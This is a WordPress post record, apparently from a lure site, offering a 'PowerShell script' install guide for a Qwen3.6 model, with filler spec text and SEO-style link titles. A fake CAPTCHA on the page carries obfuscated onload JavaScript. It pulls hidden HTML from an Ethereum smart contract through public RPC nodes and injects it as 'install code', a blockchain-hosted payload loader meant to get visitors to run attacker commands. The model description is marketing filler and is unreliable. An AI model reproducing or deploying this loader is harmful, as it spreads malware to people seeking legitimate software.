cZ5MBkak24tkYnCTU34t4DPASVkDZN2EIP58Sm8ERDFyfLVT+e9sYXTEHJf7RjiwBPAEoic1ssZlHP8\/5PS5jVd7XPRGplBV\/UzfpM9aToiR2xo+JIJwyrm5KaokcAO+o89U+eXNMh9QHMTWLzHb4Cusz4UoKvnAM2tDrMYTkoChwOUEjHtpY\/PwnvS9JNRbcJdEfAG5P\/2ZMBh47Bgbg\/CdhXEVeM1N74ngmEGiCfYgKlhc7p2neweYdxPOII7QLsLIfmDdLRkbeN53+kyzvaqHV27X2b4rvV5Vnych\/cYSYY5AbNu0TELVTkqT72iqR+7vPJvMfRrtt8Ypaqym+37ci9iPWl9wrKZKId3c7Jyq5RaGO7Ij+XZBh7taVtch\/jSLPdREZvFO128jMbCe6jMldin4qi69hiDDMfW\/tK1TXqwP9k0QmONpQMu7KEfL0qv22dvLPn+fpDXM08i+1oCkHsPbV99YaL9h2\/cumfAE1YFWu2rrRIwiF9CcLohEAXSJiPfnOyhzYH7\/W2xn+qsGQqMymIiaDiO3K8etrtiorg1HgBuc27OKZ6N\/DBHfmMkRouL1KPDMO99WFBxT73bM6e3QmsV6nEzwA2IhTsOjv8ImllMQml22H6xMQF8AUpwK6cZbYm+da9Z2GgDbxjUkFr3dN\/Ldkv3ntTIwjJEV0e2MzoLCeYfoF+jIyaVV3IN5yGxDuaAxpm0qwYx+\/cFh603bpd8l3l1p7\/ghHqQsqMLJiHkLBVvP1zPVFM0r+SUXo1tg0sT3+iZfwtj58TuihBopUbbrgAU9qQQRIVHJYeS5caOPtw7NJhi+AgKRnQC5VnV\/sMXt1UIkls1\/28u+D6D41\/UmONn\/CDQZywbvYh4gv8vD3GcQ8KKyqhrr\/SodJOJGwy5miZKBwY08ytgnPvWbQaXaGaCkbpxb5\/Dwt2GfCC5qRJ+\/S5pRQjrjf0A8k7dAGZQ\/Gna\/wVrenk1Zo4X8tbofTrLlJcYf8km9+KoZ9gu3E4i+wwBkGEKDqnLsjBVTH0+2EL\/zIK8ZRrsMp0HK4v79XyOSocf0w\/s3MXrQLGFfiChhgekRusJ3dkJHuprfi4CYOOE\/Tut3TTobPVrsvkbt3H8kgJn3qKi7htd\/basqb3Rr8WwCvbVJnBFInjllTs0qCSdkv4GvdNq4F4Gam8S1jrh2bxwM6VvwDj4CVmk54onpHoVKjRT7ieOMgyk08NfrvCxcIBOXS01ke5+PBuxWxvmXFj8fgDa2SrJvP6LXXZ37TxAg2t0GbG16gHRImo3vwxZrbdC\/u+Xx4eCPPdS3lICzCFGv\/y1e7o772LFmGaNws4wcOUGwfOA+b\/nXJq9\/uyADcz0Hf91oOLfmpYdU+h3rbuqMjs9g+vLW0K1rTAPB81opmQdf9wqUf5njQSp3uT93CpsB5m8s7cUYTfyZtAbL1ITJhjoI34nML4c6YSwBS12E3aoPgZzh9v3M7Pes+1TK15BU+csM2qugZwdWqNabRKcfrwUmUWhgCz0YiUHxrrG49zi8VhE0u5V\/jMH\/DrwLONke\/sVkYeT2ckW7HhptbrFxADpN235H3lV1JH3z0v7bFWt4GUdTKqK9eT5nNUSL6UmWOy5eshd2ogfAe\/0lUQiPBGZ6xob4EZbAFIoLQLNGexhuXvoCExl71OfLg6kqpxDtAMEwGnn7iLKaWjH4clCYe5QKLmyoybq\/dAkzXSlZIrl+q+bkG4Xc+D+dGPFHihQ4ZdBMkvdFMhEFmfCgXqWqLwnwl0T3z7G7w+f9hmBuhPmEeHiyO4klnBmVn1tO5+Fb5x0+NmXxwFS99OBW\/5g\/sPBC9+mhxAM\/kEa\/C0UtoZLwqB4iXynIB7noTaE1br6bl9mS9zvDW9rm6X0Oqjf8wMrGsEbUEdLO6h28RnvlAUrT8dDD9j6kv5Rm0mtBFLRJk79ZYVb3JS2jqjdl0p6PikIvQ2XUUnCRowDuDkJH2V+m1ncqlRqI6tyrXXliqkj9OeExeCzf5uE2o5I3ipkT6r5xGp+9S1h8zFHGUDmsdETGrfjDx7f23gcdrYO2BFuX6XEs3Mgq\/0h15sGhgzaLSt0yPwW4TP9CxxE86pE5TG\/v2FgiHOMiBJ59yfbf8cTJNWd9frBUW2lHHfaHR7IxUZsGQxcHawsrMknp2LKjbD9G7+lqZGLt9tSBt96Ihef3a3v4HjVWiM6T\/H7uIAUFnMB9Z6DlL3sE8eJ1bFr7+R+O5iOLSo07NUWhnm5quGPsxKCDVeLOsZWAl6SYyMWnxGWdfiVfQPiPxyr8n+dvSzVgvxKzFrveUQT14XW3PL1iZkCpNFYfxlUcloCF6Xh9iTy3n5huOli5sxxSi20W9xkVfrl0\/\/UI6fJR1XUsRL9yEqhDiVwJwgMZt5CJ5TNSIn98fY0w+nB\/Bqoum\/Q6lUnKAuLyF\/FqtjxgMpUXu6nQJXrBMpM22oz9XP4zgJLbT5CnNfaZBw+p9BTDur9Zz7Wk8mbs6umnr+M257s+lg7mTMGzuSYwBMiKD6E62\/3vy4cTHxlG31PcHPhpCb\/D7ugqVSPbRmWsi+qLB+y8r4bZlxdRe9Kk4umiS2Hrl\/HyF2oiATz1dcjFJV3ucJf6azJHERCCgzkrR3Z0tZIJQyXEC7ZYc3Qibl6VsqUZE6bzKVkOCG1YlmNawBt9jQj2do95GdP0CqUigW2yo\/ivkMBmvrUege881aaOziL9I5uCfzeC\/4QFxZI3wW2nVTRvzQmVkOmF7X8SUr+jN68VYKZqC3g3HAb1GsaGYDJxQo184gEnO3YjkIKTcfHdPVHzzwjcg+IgPBIBOxk+Z7UPUBkeQuyja3kthMmuOR6SWDnWzwqD4uvXoSpgciZSMQva657bNu4V5fX7BBOAa+6jgpHWpQG5bsZZ3\/FPYOeebmZ\/IAhL8Nak6inWhBxgrhcbZZjERKx+ig+IcAvhFwUw\/S6XTBAaKmKKUSjVcrDibFbSMy80j8\/2zMIF\/W8nk3XHJA2\/s6\/4w7VFj6df\/4wyTRk7sitqAEIzXulacESgbuwpqBIOkSEH5vpp8ma6\/MPhIYDkMMJkKmkn1l+tbPgZkTJwVur13MgfRtOVy27xAwv0oY8beAZw6L0OHVX7RLQqg0D14eIcs5zZSLUmgspnU4b0qjpzCh6qpTwPxLZ4JpYweG8Qz+M1ES1v4HFbeqzknC7OUitXiZpOSlfEn8xf5cac26WqLD3ze90gkEH3Q59AtjWFdlymNNCvgxCZdxKR6JNoz5F0v3feNoU1fyv66i03n4GnXOp8ZSd7aIcFkr6O8TRrqZBRA\/v39NehQZ0B0EZ5Z+D6UU\/eiH0JuT3IeyTgf8YHO1dPew1cG4AuY6wVtfjR+AcqJBhWsvd5dmyWcl78QODjNAQQ8RqsspBq4Y5gIoeXkaAQy3RnWIAeHBOchSyc\/wWYP\/1CFt4E3rLHOYdLxJU0i\/Op2eSNfcNYfDggvdwHXc8pQnEBOet7X9IYy0geVFl7cXa5HFSBUf1NnPvA5dZAGYsiFraX+OXUNZ7sAsKqrKcRiQyAI95ewBcZL4HMo3mgF1tNC98TWQjzk4MdYW2JPHfzon+TxshkiwozHZ2uxu79Afv1kw7o2DhvJhj+7hdq+Dkk2BLKhpPtV8COfeXX6TsfjVfOjTVB2ZgniD7zwK\/9N8YAAAJPYDHBG+\/pSpaBrwu4PugAUllQIAwvO59OiScw+cVxXrwz9eyfCB\/2oqv\/wy6HLtLlDTU0WN+nDHbapzjiEr3UOJHp6Fh2JfSk0pwYU02gcZWxPqZBGZlCjwsg6ZPjvvxeWUAP+M35+BXGFu4\/0VZk6rJkb7oc5fvAfEOqmd5kNr0sGF2K7UgGt9gVD4gW9Y5e3CWxiRT38L32mFsAtLvP0pFa9H1\/srxZbGD4NxxE+fLJcyUzX5OnPhJNMpmbIEva2Mq8vwWB0Nyv9uSIBsKM9OTRnnPv9v3OIXheVA32pA+bLwSpa15YXvkW8rjU2MFCbCovOjrUPApXU0VZvvzZdhjaB8FsztX5dUFg7\/FieopiBp+vCsc007lxafc0y\/6DG4PmD0tVAPZEkuinC+VCJr9l3eaAN9zmsatsvPlUg8m5bo2UIG6yZGAEFTYTAU9R22PZqNXEjh3CpCCHFaWQtL7fYT4AERiBUh0DnIM4aCqFF1iWne1yLWg1iycaJl6Wle1Jrof2O4oPtsl9f2zc1zpqkzMHbFk\/KzmbTGPN2iff\/ndOSXiyRYiiN+GuWZelqgjU9caIdAUqqDDmC1Vh+KeIktmnc2y6k306ii5nH68N0RloUtVJue+G79kMLXXqG\/5HYROl8tWwIJA+Ig+gSiJxA68FETl8JnGE9MN7NAdG8nTnUGVYHJd771PjuyBQDEjmYQk1Q+UW+9T47sP4EUyUeXAdULFpWC5Tczq\/AcyaYmDV0oatnDi39gijFexultSRC8HA8snFzcmtbxfPwHWbwKBWsTYjRwzKOXZhy5+EczyVpT5e7FX6ECVzQr27oztsrdeDck\/EY6+N2OM++bZi6619n1m98HOxou1\/EjK3PvWOpHT3YAAAAAAB2b+gRwB48ogvM5AeBGW7GcVjMbjDVEd\/KhY7Q1ffL96eW52xRfHMuYKtvrxmj791haaJ+xpR8ad1Yatfxi5BKq95W49tWYaDjos5xMAeYTu+4SLasmOR3O014qLqX0\/GLd44+7HXFXEoyFZL5GX8cR7FWX2XwDG6sEMqajQ1KDj3RijHQbuqX0d8pr+8miPt92N4J\/+NG9bKtMGGAVMj6L6CNGweFmPi6\/nA51iGAMjwY4ocqPfsa7\/SXyFfuPPQgi8D3jG8t1t3bXaQsGuBUSmZTJ8yROas0TGA+Plu65Eu+jxvNMx8Cz9UdbGv\/5aYmKeJ1yo8iVe\/ah6dp0dFn0xmoZHAqrRdVh0\/GQkkzW6qkRQ\/mBcTgqu5ZTOLwQ20cdzK3PAWLzTtlMMhkILLEOcIdEjVJgvYfdupZ00SJ3fp\/B8C7Lp1LWhH7dgIhcdx+1OXLql7yzrrTbrMnP1s\/JAxSZPTYr8lfl26zAcvBpZbRZznSx8gekXsZ7oVlzjMVWA0Ii6ohhhoDCIe1H5AvOeJAwGanmOviPO9P8uMZ+aApgpUdGoIEahn9\/+tGq899ZL1G\/0ZUZos\/jm2oJAOvvj++WJ9Tqac4FQypTRNAAE0tvpZOKrJOcFV\/CO+InsIQG+kiTYDoRwylS5NeX401VaBZhXKaDw9uAgyW5RO7dZ8XDe\/IVFp5wnZSfiafPSHF4QYP8noFJtjvqSV+sQsQTiS9RKMtWHwNMEJmP+q+Wk\/SoOnzr+HCWeq9rSdOIivb\/4x19NenHVT2CpnS+xwlhrDi34Xx7N6\/bSrgHPtr21YSM+ZozeyqbqH4VD3sE5P3KmCfAEyTgAgdzTkhDxbpdPT1LVdeJA6F5gNbab8+6Z\/J5t7ZBSCqRqc495TXsW3gbi9UB+T5N5lbBZCYnJcilIGcmw82f5IGZ\/coK2djqMowQI38PRsLCg6ON4EF8T5lAHAOIcQ1CHgLyU6V7yllrtBScfsz91y9ETKQjTSOzhTkXqIya3Aad+ka0+xNFOusqO57g6cnsVEWlouYg9fEY8yvKiTAQzRAAAAD7HZ2xmJG+Yh7Rb2bYy64w02\/ZYSV6bxt2FrBH1bjf8d1XG1M5lb5lYDcB4jSBET8XQ4p58h5bm9srzyajHq87aNUXkr8yYzkJL\/jV6rh\/1Th0slnIlRM9lB5ggL+M96O1Amd\/ExEY3h1eDWyPz6lDUSkNJbfN7bb22t6RvzIR43ajI4mjHxiynAk3zzmA77C0GvGTETH3r5kNipAm\/fn4tpqnWsa1pDmpQ3RFquM0kVSM78jIJ8cslPEZVrKM4X9wT341U+krsbuzMGZEm7CP1zqNXMJ0nKpc9rEi4P3CbX0bMMYZpY0A75rpmU3qovswpe2eX8nCU0WsH76ZbBOpMhyKF6rjWasHBhuhCqkhvdHgnSWgXe6rNC0n2onFYt6wLm1imYRWQzZ9c2rmsNbTJD24CFATAPItkS3TUHJv71CCTE\/JLevVdqBRwsheo0PtZxB1xvMu2OH2KXWjvgdXKdF3HqJ0iEIVojpQAOYqGiHj2cgxNcX\/KZaAwwdiS4jvjXr2qu6BGK9QBfCbQq8+qBrKrU+nCIBT+7SmK58yFyIZoFCs3yLk+W4UYaR0hgpHrfAgz7GUBOFb99uxNSEDSWZNVBOehuQ\/47IPAKU7hMWc7rgNTeP\/oP9eb+gCPXGVcgtO8TPK+\/1T2Pl4PwlqFpnS6mUcrUaNPxWvflM4ZBj5Ykx8v1Q8T4qaZ4F46jfJtgsWt\/IvytpAU49lQRK0MYUnlP\/wZjrV4rvV2Oc4ZY038TFCD1IeEdqzNvCx5X80M2K+k\/VKHtXSuILeJBAAAAAAbBOLxm\/oZpclzFLlPrfQAAABLZIqJ8czHAfwLeJHGk+zCGaMOxaNoc8sDo6AlgIUuCtEmyUoEq\/6ys5msg5rnFsn4Dlgo0ID8sCrvgpgEfnh4vZcO7xDH8TEtoiZChWO01Ru1hyLiRTAZsFdGvHMTt04fhdz6f\/IqddqIPu83+B6C+9QaTkeIk7YVJNu16v8YAu7BrndJV9NVKeNPnKvjBqjEaVGrtqCFE8FUVvsC2Mpiaf9jjr283nw2\/YrgCaJEsXWUQ1eZOYdyICq2Ku0ruveh2m\/ulUmaca6syPgTm4atZb0hq9YSWiynJPSOPz959VpYrj3CfOtcgMtu7KV7e\/\/n0eP3SD4G4mYHeZyiNx4PLpErlsyku3la0LZpD2FfehHfz8pRATGO+uwGK3Tc1iQVfFqBsUBuAlC7pZ8eiPqDdC\/ESHn9aPBFCUpaabbVWOZdT\/nI8MwkrWt5DhQBjwaoHyN05JZ2Lowt1TCY\/oKitH1+qfHvJlYqFTffJgCUgA+MhwMgH\/B6L08A\/adhE9aXcbeKYB\/6mzzOMAtdYADg3u\/VMA23Wv0uEMHVwDlIBbXrmNIMMdTYOzQCqnVgtbchLFDpCigpAPCCSeHST0sq7X5W9VwTMYKV1R76+Sv1H+X4aBF2z+AHw9rkLBTMIqh4lqf4849A2z8kabpu9etBov7uJTuMra5SlBTE3iGybl512legc+M7YcUwPVrLy8ZphDG6hA7R1S71gd0ivb7YvPa+BA30LSrDW\/RqYVnhe21dvdFkB51LQ4GFCG909tsskdXlH9cMbxHx0vhDGi+yYyriM8J\/sUdRM\/AaMAAe98BPrqYRGJd99xJzWN5h3mTnUyWxzKjQ3gie6CVEKeoTnoFs4NhThY8bpZ4IUiftAhH\/Xn+pbweERxlNXHoWh4tLxNpDiFAQtoD82XDm\/xlketOinsV4YOfvhJ5nKuKEJTvMvm4pw3jXrNbEDt6fioJFlMAu\/hi9q1PJVkNxEpctcR5\/2H2PVhc0dftqq7Iy1hc9oZo8DtPH88i7mfX6fpX4ca\/vkFChRlTQEGS27h01PUaHZJKSnOFeHEgbdWG38EqB6A+\/0Op16tfZlJ\/DA1uFt8iEdUwN+xT+LVMK0il7YwmIomzDXWS6UScrjv1OBY+wAjZRBttYz7FWc\/SidiPbA0G8T9bE4vsE8F\/AlISOyVBW7PVH72mcv+lwxZddi33Sc\/w5CdnEfyvGhf6JR8ORwm9tpADIpdSB\/KhiMJFss6BjnbJ6O7YQCx8s+qUghNJxuup80ftFDDISsbOq7qbe0yGS6\/PmR\/A\/x5K9XYBC3t0rTiLUuEJ19Q\/CMV3KBSVu06JsOK40lqkyBgnupf7KpaTpAPvrVc+4jU+vIrcmVq8AL1PJJLfUheS3BtcPQOlcb3Pfbvf\/D1NSwOluF2IvjIKgXgWFhYg1XSVa7BaHgD2QSFdXmo1q8558hHO9afdVSOY\/OyHMj+UZyLz3TXzKE0naY5o8v7AejcBZ+C0L3eCu\/m7Vrl\/yUUx91wv3Pe29zLLJHu0x1VDhlB+AsqtpmSpOsDuwlO24GSSVmes9J4QnUP1Jx28yGxbJNNIr2XcXIs91+0IJcp0VU3yoj1E9j5QOSOl68Yrf7tELtbVhpp5Yed0REcTkWstYbrvRavnjTAUARiXJa33kYVhcttXg6rPOYuyHXanwtLc1fbpUPYims75Ai0QLV3YMd\/k\/MVTN8UVgk6rKSOMAt7Hdo0OJpZloNsMWGQnUP4lUaLYXy1gQ59SObqJDC6aG991GiP1DUaCePEUvgX+WITz0P6\/a7iSjyjVIIICsQ0DFnl8NeZq9klYnr\/SsksrchXdSYVNKiYalgrPQu6rnjMuNkXjkwjwVIVarwz3NXXHXP9StHESq1L2gIYs2kX0gbv5IDQxH8rxpF0QBuMPYF+ZR+WTEBbIQhQluunKEMXHKc1GorkYntHjPsSN8\/3J52Z3n4YNMhierrRg9nNaPQpKmOgS9g9\/fa80yAml4E\/uMQMvOr2IVYppTjvXyvgAMBzzMiUNkhnUf1KUzFdKePqksblHyGgOO\/1JtRmipuSw4M1CNR2ZFHC1fU9jItKteGP5zBFfbpqhtR3TbepgpxX+5WjaX0y9IOwLRt050sr0PDGMcA98zul\/CuEcrTxOmxdD96BCTT2K7lRBeTl2gQk7o\/xmYk67FyTd4MIrTwix4E6z+Ksa188txVdpaOl8NJ66NUgEGpXHQjwMcV6y4HDICdACYb4yaFGTw5uvSkfO1JwGivhiAJN1t\/1kie4PPw+YIC+aXSt9bcj0mLXC2ySnxte6C\/hH0PCjYYy2egduDsJeWXAbRNGaI0txRpOpX3baIf9V91xMZvfjEmjOzx\/0CIlbuDGrVruPdZuIxTgSbdx5jP9AmPpRVatmSiFUnUO1SYFVYjtniYX+y5MHTvgxK7URYymAQFJYQ+PaZF4JPgvhoVQhAkySDVFQG5oKR5gAvceOcCg2bgeap2YPmY33ghhEZUWkGjpQ+KmK7Yh28pk01xLv22No9qVBW3SUg\/9cLc9QB3Sqnrbw6fyulCr4eJVN6KBvfA\/u8xwy\/iGO9UjlB0Xu0E2UP8l8SDTpaXOrx3DnuWPFp1MX1Xex9oD6qCYoBuqHjImbWdt7YtLg0N90SYG1Cvrmg7waYoz\/4N6zWFeZbBc3DiL59xzljzFLTRa7yjWkKO10jNjU8y1U7\/6P7IENoAbwJ\/HtixdHHyI806bSj5Zr6o\/cjzAlZmyRjjGXyrgTgnoJtxQCPjXcvG9WdTIP3o6AAJVSWk2txJNZ6TsvKsgeVNnsTjD9TEF332Nci01KO5DWKYAb2W\/BoJpEQjwlDazkyBbi4oDYc21z93kCOpy+Cg+\/TCagBEi\/29SstX1RunZUkuaLP8DQVHJZ27\/G\/sxMgxPbEwcCIxdAQ8gdmGfp4OW+77naU7wvMhkHmpIRSlUTmmN34jWdZI3TY2SwuioKUun09cfxb06EFtxRxf8iGlvZGiBI09BUfAbjfeYnasdA\/Vew04Eemr+KgMxC6gAcYgDGBa32a1WXJuGuxVXUn58pvbZtDQ5RfbPUFwkywLu8I9uu2\/eDn8FWJTnbHN6EGOwv7AuRqerbIUpb3hrEoH\/ly4AAA\" alt=\"Full Deployment Qwen3.6-35B-A3B-NVFP4 via WebGPU (Browser)\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Using a native <b>PowerShell script<\/b> is the absolute <i>quickest way<\/i> to install this model.<\/p>\n<p>Follow the <i>straightforward<\/i> <b>walkthrough<\/b> provided below.<\/p>\n<p> <\/p>\n<p><i>The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n<p> <\/p>\n<p>To guarantee smooth performance, the process <b>auto-selects the best options<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:14px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 12px 24px rgba(0,0,0,0.05);border:1px solid #edf2f7;\">\n<tr>\n<td style=\"padding:42px 52px;text-align:center;font-size:22px;color:#4a5568;line-height:2.2;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2C2C2C;font-family:'SF Mono';\">\ud83d\udcce HASH: 67021416375ed3af50034946329ebd99 | <span>Updated:<\/span> 2026-07-04<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'3142537c_full_deployment');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><strong>RAM:<\/strong> 32 GB <strong>highly recommended<\/strong> for 26B+ GGUF models<\/li>\n<li><strong>Storage:<\/strong> extra room for <strong>future model updates<\/strong> and datasets<\/li>\n<li><strong>GPU:<\/strong> high memory bandwidth GPU for <strong>next-gen local AI<\/strong> pipeline<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.6-35B-A3B-NVFP4<\/b> model represents a significant leap in large language model efficiency, combining <b>35\u202fbillion parameters<\/b> with an innovative <b>A3B architecture<\/b> that optimizes both performance and computational cost. By leveraging <b>NVFP4<\/b> quantization, the model achieves unprecedented <i>memory savings<\/i> while maintaining high <i>accuracy<\/i> across a wide range of NLP tasks. It supports an extended <b>context window<\/b> of up to 128\u202fK tokens, enabling deeper understanding of long documents and complex reasoning chains. Benchmarks show that the model delivers <i>state\u2011of\u2011the\u2011art<\/i> results in multilingual generation, code synthesis, and reasoning, all with significantly lower inference latency compared to previous 35\u202fB\u2011parameter models. The accompanying <\/p>\n<table> provides a quick technical comparison with competing models, highlighting its superior <b>parameter efficiency<\/b> and <b>hardware utilization<\/b>.  <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>35\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>128\u202fK tokens<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>NVFP4<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture<\/b><\/td>\n<td>A3B<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Script fetching custom model merges and experimental model blends<\/li>\n<li>How to Run Qwen3.6-35B-A3B-NVFP4 with 1M Context Step-by-Step FREE<\/li>\n<li>Downloader pulling multi-platform standardized model formats for universal client execution loops<\/li>\n<li>Qwen3.6-35B-A3B-NVFP4 Locally via Ollama 2<\/li>\n<li>Downloader pulling specialized structural logs analysis models for security auditing pipeline layers<\/li>\n<li>How to Install Qwen3.6-35B-A3B-NVFP4 Locally via LM Studio No-Code Guide FREE<\/li>\n<li>Script downloading experimental weight array tensors for complex model recombination<\/li>\n<li>How to Run Qwen3.6-35B-A3B-NVFP4 No Admin Rights FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Using a native PowerShell script is the absolute quickest way to install this model. Follow the straightforward walkthrough provided below. The framework seamlessly downloads the massive neural network binaries. To guarantee smooth performance, the process auto-selects the best options. \ud83d\udcce HASH: 67021416375ed3af50034946329ebd99 | Updated: 2026-07-04 Verify Processor: 4.0 GHz+ boost clock recommended for CPU inference [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[28],"tags":[],"class_list":["post-310","post","type-post","status-publish","format-standard","hentry","category-managers"],"_links":{"self":[{"href":"https:\/\/ailyshop.ir\/index.php?rest_route=\/wp\/v2\/posts\/310","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ailyshop.ir\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ailyshop.ir\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ailyshop.ir\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ailyshop.ir\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=310"}],"version-history":[{"count":1,"href":"https:\/\/ailyshop.ir\/index.php?rest_route=\/wp\/v2\/posts\/310\/revisions"}],"predecessor-version":[{"id":311,"href":"https:\/\/ailyshop.ir\/index.php?rest_route=\/wp\/v2\/posts\/310\/revisions\/311"}],"wp:attachment":[{"href":"https:\/\/ailyshop.ir\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=310"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ailyshop.ir\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=310"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ailyshop.ir\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=310"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}